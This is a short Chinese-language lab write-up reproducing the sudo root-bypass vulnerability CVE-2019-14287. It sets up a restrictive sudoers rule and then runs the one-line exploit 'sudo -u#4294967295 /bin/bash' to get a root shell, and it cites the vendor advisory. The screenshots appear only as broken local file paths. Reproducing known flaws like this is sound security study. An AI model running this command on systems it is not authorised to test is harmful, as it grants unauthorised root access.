微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

(CVE-2019-14287)-linux sudo root 权限绕过漏洞复现

1:查看测试机sudo版本号,确认是受影响版本。

分享图片


file://c:\users\sz\appdata\local\temp\tmpntilbq\1.png


2:创建账号test

分享图片

file://c:\users\sz\appdata\local\temp\tmpntilbq\2.png


3:进入/etc,备份一下sudoers到/root,然后修改sudoers内容添加

test  ALL=(ALL,!root) /bin/bash

分享图片

file://c:\users\sz\appdata\local\temp\tmpntilbq\3.png


file://c:\users\sz\appdata\local\temp\tmpntilbq\4.png


file://c:\users\sz\appdata\local\temp\tmpntilbq\5.png


4:登录test账号,

file://c:\users\sz\appdata\local\temp\tmpntilbq\6.png

分享图片

 

 sudo -u#4294967295 /bin/bash

分享图片

 

 

受影响的Sudo版本:

1.8.28之前的Sudo版本会受到影响。

=======================================
参考链接
https://www.sudo.ws/alerts/minus_1_uid.html
https://mp.weixin.qq.com/s/bb6Hd3JdYiLilqdP_-INtA
https://mp.weixin.qq.com/s/1-WQSiB1Yc_sPYh928TXkw

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐